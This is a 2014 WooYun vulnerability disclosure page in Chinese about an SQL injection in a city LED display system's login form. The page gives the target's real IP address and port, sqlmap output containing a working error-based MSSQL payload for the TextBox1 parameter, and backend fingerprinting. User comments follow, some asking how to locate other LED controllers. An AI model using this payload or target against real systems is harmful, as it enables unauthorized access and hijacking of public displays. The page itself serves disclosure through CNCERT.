当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-078964

漏洞标题：市级LED显示屏信息显示系统SQL注射漏洞（可远程控制LED）

相关厂商：cncert国家互联网应急中心

漏洞作者： 魇

提交时间：2014-10-11 14:05

修复时间：2014-11-25 14:06

公开时间：2014-11-25 14:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-11： 细节已通知厂商并且等待厂商处理中
2014-10-15： 厂商已经确认，细节仅向厂商公开
2014-10-25： 细节向核心白帽子及相关领域专家公开
2014-11-04： 细节向普通白帽子公开
2014-11-14： 细节向实习白帽子公开
2014-11-25： 细节向公众公开

简要描述：

那么问题来了...
LED 哪家强？

详细说明：

WooYun: 丽江市LED显示屏信息显示系统高危漏洞可发布广告（可远程控制上百块LED屏幕）
前人漏洞..看到一个弱口令竟然前台加精..略讶异 于是看了下，表示我这能给前台就行
http://60.161.215.7:8888/main.aspx
“登陆处post注射” TextBox1参数存在注入

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: TextBox1
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwUJNTUyNjI3NDI4ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3R
CYWNrS2V5X18WAgUMSW1hZ2VCdXR0b24xBQxJbWFnZUJ1dHRvbjJygpamJGdz4YCN7lpdiG1ys7PZqg=
=&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDATION=/wEWBgLOsYjhDwLs0bLrBgLs0fbZDA
Ls0Yq1BQLSwpnTCALSwtXkAldceanpG52LNpx63yyJ+5PopWeN&TextBox1=admin' AND 1318=CONV
ERT(INT,(SELECT CHAR(113)+CHAR(105)+CHAR(100)+CHAR(104)+CHAR(113)+(SELECT (CASE
WHEN (1318=1318) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(102)+CHAR(105)
+CHAR(110)+CHAR(113)))-- itwg&TextBox2=admin&TextBox3=11&ImageButton1.x=50&Image
Button1.y=10
---
[12:35:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[12:35:41] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[12:35:41] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\60.161.215.7'
[*] shutting down at 12:35:41
C:\Python27\sqlmap>

漏洞证明：

q6.jpg

q2.jpg

q3.jpg

q4.jpg

修复方案：

版权声明：转载请注明来源 魇@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-10-15 17:53

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-10-11 18:45 | 夏殇 ( 路人 | Rank:30 漏洞数:21 | 不忘初心，方得始终。)

    我感觉这家还是不错的，多少钱一学期？

  2. 2014-10-15 19:00 | 安然意境 ( 普通白帽子 | Rank:189 漏洞数:79 | 无论是你的事业还是你的个人，可能走的过程...)

    LED显示屏彻底火了

  3. 2014-10-16 09:19 | 一只猿 ( 普通白帽子 | Rank:463 漏洞数:89 | 硬件与无线通信研究方向)

    mark

  4. 2014-11-25 14:22 | 火焰真菌 ( 实习白帽子 | Rank:37 漏洞数:11 | 火焰真菌)

    求大神带我装逼

  5. 2014-11-26 07:21 | 暧昧 ( 路人 | Rank:6 漏洞数:3 | 此号乃是吾用来装孙子也)

    话说除了政府led 那些广场的那些led是怎么控制的 还有个人的 有物理牛么 是用硬件控制还是用网站这样形式来控制的

  6. 2014-12-19 17:52 | 半世倾尘 ( 路人 | Rank:29 漏洞数:8 | 努力)

    怎么往出找这led的地址啊。，。

  7. 2015-01-13 13:31 | 小r00to1 ( 普通白帽子 | Rank:138 漏洞数:42 )

    是不是我提醒了什么东西